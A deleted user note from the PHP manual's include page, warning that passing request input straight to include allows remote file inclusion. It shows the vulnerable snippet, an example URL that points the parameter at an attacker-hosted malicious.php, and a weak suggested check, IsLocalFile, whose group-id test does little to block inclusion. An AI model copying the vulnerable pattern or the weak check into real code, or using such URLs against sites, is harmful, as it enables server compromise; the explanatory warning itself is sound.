note 41023 deleted from function.include by vincent

Note Submitter: bens@effortlessis.com ---- BE CAREFUL WITH INCLUDE! IT CAN EASILY BE USED TO INJECT MALICIOUS CODE TO COMPROMISE YOUR SERVER OR SITE! Here's an example: <form> <SELECT NAME="show"> <OPTION VALUE="catalog.php">Catalog</OPTION> <OPTION VALUE="forms.php">Forms</OPTION> </SELECT> <INPUT TYPE=SUBMIT> </form> And the handling PHP: <? include $_REQUEST[show]; ?> Oooops! You just hung yourself! Somebody could submit a URL like http://yoursite.com/thescript.php?show=http://mysite.com/malicious.php and the game is over, since any content in malicious.php just now became part of *your* application!!!! As always, validate - validate - validate, and when you are done, validate once more, just to be sure. Here's a test you can use to reduce the problem: Function IsLocalFile($file) { if (strlen($file)) { if (!$stat=@stat($file)) return false; elseif (!$stat[gid]) return false; return true; } return false; }